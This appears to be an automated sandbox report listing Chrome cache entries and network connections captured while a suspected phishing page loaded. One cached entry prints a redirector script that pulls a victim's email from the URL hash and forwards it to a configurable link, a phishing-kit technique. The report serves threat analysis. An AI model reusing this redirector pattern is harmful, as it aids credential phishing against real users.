Preview:	wOF2..............?....x.............................`..T..L.6..6..6.$..h. ..\....~2.".8. .w.Q.Y,.?$pC.....)bT(i..@X.m...+...D.Q.O.\-?g.U..Z..._...l..!.lKD.Q..>.9v..V..<...Td$.E..,...o..c.t....!...#..8.A..3..cx~n=Di#....U......K.5jXH.].....j.(.6..]{..IDhZ.......R.....[..X".B~.(Su2..../.I.E...T.l%....'.N.aN.2\,70.....V.RQ..k~..".1. Lg.zd....}.yyys&D.K.g....)....2&%$.nm.\.._.e.tU..I.w;W.\|..6..XUv...!......>@.V..'..`.H`...5.7.X.?..@#..:..<.R.\|.;K..}.6..IA.C.....z.n.G............[.....z........`.X....D..{<..j...).......FQ..T..m.&s_k[%ZILV.8.l.o.z$.)/]......}..Kg.}..O...o\|..>.,U..?..{b<........._.._.06.........R01.@..[......a8..7.V%..B.0F...4 ....q..u#.lg....x....a.=w...8..A6.>f.+.8..Xm@`.m....G.....i..^R}9.aB...?._#.[f.d,V....bG.]...iED.@[.:.....P...........~.{,.x...~.!...C....b.....ze..).:+N....2sd..s..MEp.?^[.k........p..nz...[-.XI.%.."..`..<.2b\.w.VS.a.+......~..J..uGq..)..1...4o3v.Sb......5.w7...-....Wd>..B....R^.4'..B.2G>.en.q..._.@s......

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 518 x 97, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5335
Entropy (8bit):	7.923513904608464
Encrypted:	false
SSDEEP:	96:Sozp0wch9aIoJyl03GA4Fi90kJUpk8cZ10213ZTlunChuQDPc3jVoIfEa6KDN:SccSJwEcF8CWb029uChuQ0fEapDN
MD5:	F473A40301E6D38D5AB8E755070E2807
SHA1:	E077C714C15B7D45B6AC9EE0DCC349C1D4B97AA2
SHA-256:	A63A08D511C9B8FF6BD0FA2206959E3DCEF4CA9E0FB4292991D6B0C473F2FE87
SHA-512:	20B26AB502F3890BA6957845DE1E1F63EAF101E90A7282E7601500C476BFC71C83D3E45CAEEDC8F433F6F53173DC613A377A31BA36E9FB499AF40E2A6CFE933E
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/main.png
Preview:	.PNG........IHDR.......a........Y...DPLTE.........v=..v$....a(...........ooo...............fff.........,,,...........\|...vvv.. q:.......III.uk...q3....???.i&...666.{"QQQ......ZZZ.r.jjj111.q%.m.j%..E.s8..3F.........M..h!.N..........X..0G..l......\|1.U8.o.F.....d....=.\..c.S.]C~I(.R..lW.[@..m....iT..e..-....Q4qH:....^.W0eE<WA?'7D.b1...-;A..M.y.v@.....#......NIDATx..._.............]..(.I.@S...a..t.............l.:GrS.....fk,...9GG.)...._.R.,.}.wi..t.z.........\|.8.r.N...\...bury................z.B...&'..s~tQ.....y.L......Z...t5.`r...g.....z..N..2.r....^0..c......Ot.......g8.((...7.B.H.9.9.#^.8.At......\h}.]..O....0.NGq.....AH...[N.[x......b...!..z.q.8......pE....,...I..;...`@v..+\|}.-(..}...>.9.g......Px.+..i....I.oq..3..B......].8.......~P.p.....W.{i>.q..W........j....W@.A.R..q&p)..@...0....6..k.....l..y...nh!..c.....b .. 6.1.6..2..."...>...0..i.E..-d...w.c..B...t"..t..-d.<R.9..."..28.H.Ha...1 :3z.a...! .u...G....5.<..{.^..0YD../=...;..'X..d.6...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	576
Entropy (8bit):	7.376257473456894
Encrypted:	false
SSDEEP:	12:6v/7x0/xt08yPPTkdhtfg7L7wlyMMSPGQXbaAPS2HyrQFb9j1:WWJyPPTkS4RfuQraAzSrqbX
MD5:	F72CDDAAC85D22B8B56C37094F48BB5A
SHA1:	E0AA951FACE4C11A1E76416DD1DBCE496B5049D0
SHA-256:	19E82DB63D72BF03E566B0CA3A9CB7AE83A22C342A4854978DB54F7CEF97C07D
SHA-512:	9EC5ADEFE414BCB805560797EE47BBD4861BD74210DD467324CEDCBD1E5B209D9EDB9393B2F473F8E3C3CD55B428490FBF483A65FBDAF90DF4DEF9D5F2729B47
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............K.W.....sRGB.........gAMA......a.....pHYs..........o.d....IDATHK.K(Da.....bAY.....FQba.daa..BjR..B.$..E"DIb..4..e.....`2#......u....ec.l.........S.~...Tt....[....dX.Q...6\OpV.]Q.5..(.}.R.wdd..b.Afo...ft.,Ly..0.....G.jtj/H.F;..Q<x.}......6..Ln.>..._.@/...[..2.r........x.a.~...A.....n..uAa.......J.%.e.<.7..Fkf.P".7.jn.`..Q...a...&..JO...C....K(..sz..M.....K.(..sz..a.......DOn.e~..A$..sZQ>..n.F..Q..$....:.N...=.D).h.2..,j..e/.2.Qf....ZT..O..el.Q*.9.r.V..2..+...[.Bi.+..8h........~.....O....J$.... ..w....Q.(.....IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCf0IQ4FH5P-_EgUNBu27_yHo_f1ZM2_Lpg==?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5914
Entropy (8bit):	5.330082761613692
Encrypted:	false
SSDEEP:	96:QO1alJc+ukO1a4N/OEaEJc+ukOEagN/OXaBJc+ukOXasN/OxMaqJc+ukOxMadN/d:mNdzAQUx35CaJBJTrsiYzi
MD5:	EB788A27FD611A955B5887FD7AE2E0FC
SHA1:	7C3DBB599A1F8788EEE353BCC50928193B373C32
SHA-256:	A1E3B5D0F1B15BE1A8EF0038079312938DA970DBDF7937D7B33E02A2A3C84D39
SHA-512:	27AC6C2F576108169C0B141342C073D1709ED8772475C78475DCF6C28A7A21BD05F7664129A015F02693455CB8AF061865065615A265FBA53A6C76ECCF6316FB
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.co

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 51, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6472
Entropy (8bit):	7.9614440298074545
Encrypted:	false
SSDEEP:	192:0SXVB/e3XvblmlqpfQFjF7j+kFomx/c6lOOB:zlB/e3XZmApfejBqk+C/xxB
MD5:	F419183716DF0C9BCEFFF5389522958C
SHA1:	CF56E3EF9C5B162BECE6DFFE9E1B220526F7AC7E
SHA-256:	0DFA5859ACD573CAF7190FA333E1551503CC295EBABE5C7051C90CFBF9D190A9
SHA-512:	6623E40298585D89DF22A20DA5289E2A8109A78B0A1ACEBCE8F44CA79E0A9354DBA35C82B3E64192B1A971D9CDA1FA9FE1E37F8A4098A2376F731E2271D13C55
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/tad1.png
Preview:	.PNG........IHDR...3...3.....:.0....pHYs.................sRGB.........gAMA......a.....IDATx..Z.t[.o.zO..[.b;..YI.)$i:.....)--.)s.2K.;.-S..t..J.P..J.............;V,.-[....2........yG...........^...........p...\.=......5e..45..u..[..W..8.......]...S..(.......V...rzH...\|.R..Z..E+....=w....o..'.ri'7..j.]4TV..h..2....n......../...3_...+..{..h..tp.,.(..&...3..~....V...y..&u...N..<.i.f.......{>..<4...g;n..t..hi..2...........;^n.`..}..&.N..0..w.....B...........>.U.So>.....#..O_..z...cYEQ.@Tq$).Dc.`...............c}[..qX.{u-_...x.....J.t.6r......bsE...ZNK9sz..4..:.p..%3........g$.........G.L...+.\|B....N.:...,..........x...a.i5S/.Yj.D..l_..........i..I.H.\|..jZ.5:.!h X....-.K.1.QSiVSS..!.......-.........LM...i}.7....!...v.5..6w...}..e.Qz.73>.C...e.??../Og.n;....{..%...)..Y...,...?b....=5....9E.y.9M...1g..I..?&.}%...:..5.p...{.q./..g.....,.4.{*(.z,;.......]{...^....Y..{^...\.....!-.e/...1....\..t..S.wA..9C...o.'.B.....iz...C..._(BM..IZ...R..S...S.<...

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 35 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.658321956943703
Encrypted:	false
SSDEEP:	12:6v/7sr/SsyAU8rUo9dpXM91OM6bZWKhVdFVMkpZdyynVGns/Jmv3UOQEi5YYmXvU:JLyor5dpLxhxmi7GO0v+9YRPZObSmMcT
MD5:	6F92CE5CAD6F8F605B3AAC1B29C9D3BD
SHA1:	4BD1981F807FB19F36860502E24E726F76AAE285
SHA-256:	D6DFC8DBA222DBB220A21EF5DCE29A16E3013E9481F02B4964F5730831E54719
SHA-512:	CD7E74B96EDA3F5D9749FCDB138B335638F9EF700F632BF920CC59B9D8A5E79EE5D5C25556278BD66FA9E68F062AB084FF3DC1B197F7F3AA843F09DE69C3817F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...#............!....sRGB.........gAMA......a.....pHYs..........o.d....IDATXG..KTQ...c.H..xk...,..2/.V.........$.L. .1.$S..4...5..cb.B3....:...3...h$=.......;{...YG..kf.X3.E..Ko.}..Y.>!f..gi..........b.j....)l...B....irLM........3s..t!/...n..I..u.......L.)....H.1)-..1.])..\YU.N..5..O.+...B...Y9F.O2........\4..s.;^....\..\..MLN.......]TXt.c.....nf}9h.A....'2.x......t.>n...D2..K/_5..z...Uz\W/T}D4...lO SC#./.....k.$=... O.2h._..E..y5.f..jt.....R.]l.}'...Fu..'&..5>k.....]..?l..q.n.P.&.L...<H...B......r.be.`.GF..I]........4af.C~se.`0.&...N..w.I...P....4..03XR,-..R.....H.V..8\.[...+.q...z=DL`$....(A.BC.JZ...Jb......$?......@YJC(W......6::F..96.K33.X..A/.f.....&ACCc.HZ4<4>.oa....rl..X... ..gI3...-^..Z?..h.G.....T.5.kY.KT3...0.CQN...&.O..8LAw....N..0..xX..n3...........#0..`Y....mVdf9T.aC.p..?7..;.A.#q...........,.T.m....IEND.B`.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 35 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	891
Entropy (8bit):	7.658321956943703
Encrypted:	false
SSDEEP:	12:6v/7sr/SsyAU8rUo9dpXM91OM6bZWKhVdFVMkpZdyynVGns/Jmv3UOQEi5YYmXvU:JLyor5dpLxhxmi7GO0v+9YRPZObSmMcT
MD5:	6F92CE5CAD6F8F605B3AAC1B29C9D3BD
SHA1:	4BD1981F807FB19F36860502E24E726F76AAE285
SHA-256:	D6DFC8DBA222DBB220A21EF5DCE29A16E3013E9481F02B4964F5730831E54719
SHA-512:	CD7E74B96EDA3F5D9749FCDB138B335638F9EF700F632BF920CC59B9D8A5E79EE5D5C25556278BD66FA9E68F062AB084FF3DC1B197F7F3AA843F09DE69C3817F
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/eyeslash.png
Preview:	.PNG........IHDR...#............!....sRGB.........gAMA......a.....pHYs..........o.d....IDATXG..KTQ...c.H..xk...,..2/.V.........$.L. .1.$S..4...5..cb.B3....:...3...h$=.......;{...YG..kf.X3.E..Ko.}..Y.>!f..gi..........b.j....)l...B....irLM........3s..t!/...n..I..u.......L.)....H.1)-..1.])..\YU.N..5..O.+...B...Y9F.O2........\4..s.;^....\..\..MLN.......]TXt.c.....nf}9h.A....'2.x......t.>n...D2..K/_5..z...Uz\W/T}D4...lO SC#./.....k.$=... O.2h._..E..y5.f..jt.....R.]l.}'...Fu..'&..5>k.....]..?l..q.n.P.&.L...<H...B......r.be.`.GF..I]........4af.C~se.`0.&...N..w.I...P....4..03XR,-..R.....H.V..8\.[...+.q...z=DL`$....(A.BC.JZ...Jb......$?......@YJC(W......6::F..96.K33.X..A/.f.....&ACCc.HZ4<4>.oa....rl..X... ..gI3...-^..Z?..h.G.....T.5.kY.KT3...0.CQN...&.O..8LAw....N..0..xX..n3...........#0..`Y....mVdf9T.aC.p..?7..;.A.#q...........,.T.m....IEND.B`.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 441 x 86, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2833
Entropy (8bit):	7.790900974497478
Encrypted:	false
SSDEEP:	48:PKftnuqcMR/ZnMMqs3bYrYi9IS0KjxU+zpEFQ0KQ/yQglyL9UzZc:PK1nuUR/xqsTi9IS7UkSbKnnyLKVc
MD5:	3890CA6AD3EDFBC98A6B1CFC821B479F
SHA1:	698BD126E0373506509523C3FE7968002C492CCB
SHA-256:	DC791EB99787611331A7948CC25A0E16DB8D54A908FE5903D9819077494C4265
SHA-512:	9607901ED8A09F1C2913D0DE7FF395C246A721C424948DA060163EB07F9B69EBC8CAF05C693417B26ED11C0AE55FC2D540109321387105D1B3705B238B96BD66
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/prog.png
Preview:	.PNG........IHDR.......V.....R1......sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...n......A..@..}......3....+...B.F......K-.....P.B..Q..U][.,'.N..9.......xx.........r./....!.G...D.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r....3...........a.~............8M.<.......;...K....=..c...#.........i.G.^4...l.y.~...G.}.h.2...E).R......'.e..;h.-{Q.r......Q.]..W..g.._..o.......Y.4M..... M..M......{..w........8M.[Fe.......G.2.B.'.w.._.. ....2ZVe.,.. -..h!..?.../....h^-.e....2Bn.>.~\......I.p.).T..........2..>;j.n1-.2.<..Bn...y..3/.E.....N.....R.:BnIt9...O...Q.V>.....^.\|..u1.?..O..%!....b...<......3..z.1....3.XxF.Zg.Bn.....7.G.:.......g......r.....:.....T...T..V..eS.'d.N&.R...2............QT..T..V.................6..<...zy..0\|z...F."...zSy..!.@z..Fo)i.p'....}...X.f....a...m.....KW....-..n..A....[ .PYA..q5s..N...Z...T.Z....*+h.......m..._}...-...zZj.R@.-.~9@A..N..!.T...:..6.r..F.lb..U......9.rk...T...:...[ .D.......!g....

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1237
Entropy (8bit):	4.578208506915055
Encrypted:	false
SSDEEP:	12:hPEhkACy7C/7fMrsCxfa2FQvXC7zfcv54dZIHjn8RnxIxaRuuitABd8sxDf2xKNx:hPRCEasifaOfckZS6RR9CaffzV1ZlMC7
MD5:	38A8F3219A16606C15B00F84E165129F
SHA1:	1ADBBD20A304FAE8C254F56B5B65C82CAE603A20
SHA-256:	99132412558B3798F42A4F12B2C51468B85B9C8C288FF28CD6411E76F8078C9A
SHA-512:	B0955716AF99B3DCD630A11EBC735872AF0F5AB366090553E9FE9B07D418092816AE70F035E3B2F542F6E4D4E2A7262497F971F6ACDCF4724C5B070BB9B2F187
Malicious:	false
Reputation:	low
URL:	https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <script>.. // Function to parse the email from the URL hash.. function getEmailFromHash() {.. const hash = window.location.hash;.. if (hash && hash.includes('@')) {.. return hash.substring(1); // Remove the '#' from the hash.. }.. return null;.. }.... // Function to redirect while preserving the email.. function redirectWithEmail() {.. const email = getEmailFromHash();.. if (email) {.. // Replace 'https://google.com' with your main link.. const mainLink = 'https://google.com';.. window.location.href = `${mainLink}#${email}`;.. } else {.. // If no email is found, redirect to the main link without the email.. window.location.href = 'https://

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	7.376257473456894
Encrypted:	false
SSDEEP:	12:6v/7x0/xt08yPPTkdhtfg7L7wlyMMSPGQXbaAPS2HyrQFb9j1:WWJyPPTkS4RfuQraAzSrqbX
MD5:	F72CDDAAC85D22B8B56C37094F48BB5A
SHA1:	E0AA951FACE4C11A1E76416DD1DBCE496B5049D0
SHA-256:	19E82DB63D72BF03E566B0CA3A9CB7AE83A22C342A4854978DB54F7CEF97C07D
SHA-512:	9EC5ADEFE414BCB805560797EE47BBD4861BD74210DD467324CEDCBD1E5B209D9EDB9393B2F473F8E3C3CD55B428490FBF483A65FBDAF90DF4DEF9D5F2729B47
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/icon.png
Preview:	.PNG........IHDR.............K.W.....sRGB.........gAMA......a.....pHYs..........o.d....IDATHK.K(Da.....bAY.....FQba.daa..BjR..B.$..E"DIb..4..e.....`2#......u....ec.l.........S.~...Tt....[....dX.Q...6\OpV.]Q.5..(.}.R.wdd..b.Afo...ft.,Ly..0.....G.jtj/H.F;..Q<x.}......6..Ln.>..._.@/...[..2.r........x.a.~...A.....n..uAa.......J.%.e.<.7..Fkf.P".7.jn.`..Q...a...&..JO...C....K(..sz..M.....K.(..sz..a.......DOn.e~..A$..sZQ>..n.F..Q..$....:.N...=.D).h.2..,j..e/.2.Qf....ZT..O..el.Q*.9.r.V..2..+...[.Bi.+..8h........~.....O....J$.... ..w....Q.(.....IEND.B`.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 171 x 129, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8432
Entropy (8bit):	7.95443656692082
Encrypted:	false
SSDEEP:	192:CFoqWS/32IhXDeIyL1AvDWpYwQdJwAkcv2e:C+qWS/JhTe1A8QdJwAXX
MD5:	3B751CA6558A384727662FEB63279995
SHA1:	3C4E0D2C8138415DEFB4EA0F81443740F02801AC
SHA-256:	2DC1528F00A048BDA8490A4D046D0A3874552FD44A3268E34F8D587C77870B57
SHA-512:	917444C234F520062E3ACD119BE2626617339B3DDA8CC0AAD3E25F35BD60519EEF538838C05F70A47B934C6206C31B7FDC3A6A3315FEAF46BC54BFAE604B57FD
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/d2.png
Preview:	.PNG........IHDR...............JI....sRGB.........gAMA......a.....pHYs..........o.d.. .IDATx^..TE...B}I!..@....U. .." ((..t...!.UP..)J...wP:..H..@.i$!...y...M.......\|>..ew.....3g...h.&...I..gv..s.....f.k.h....vE...fU.5..a...A\......T.[.O...M..V.v..W\|.......^.>...fU...n.....`.Y.6....VP..c.N......M...$.......o....`fW......wf.v.[r.U....!/.BL..\|.~s.1!....q.l......h2....2...7(..;....-a.g....i......."u(`Q...Dt.6.+....b:y..a..3-......T.Y.OK.E.M.N..~..V....o...!.9%....gN...N........E.........y.`.......E....P..N..d..'..P.+.r.....@.....w.!J4..2....j..P.t.o...)...D..0!.J6L...gD.M..=.... .~W......H....N.]...u.7.0+V....*.1.,.d...a.1<L...T.......Wi25V}....2...B!.cQ#."...aqol..{S}d....Z.@.q.~..X..C..........l...Zq.&....\......N7l.952..;{.>.U_......Y....PD..`nw_H.k.....6....k.Am.iq.&3.g..Pq.W..E4.8....6..=}{....r....H....P`X.....\|X`...........L....U...e. ':.r.^!Ei.........>.........H.^...........J...;d.1/C......&...H..a..]....8.GO......{no.O!c(@...

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:07:26.646780968 CET	49673	443	192.168.2.12	204.79.197.203
Mar 13, 2025 10:07:30.603642941 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:30.912439108 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:31.459310055 CET	49673	443	192.168.2.12	204.79.197.203
Mar 13, 2025 10:07:31.521810055 CET	49679	443	192.168.2.12	20.189.173.5
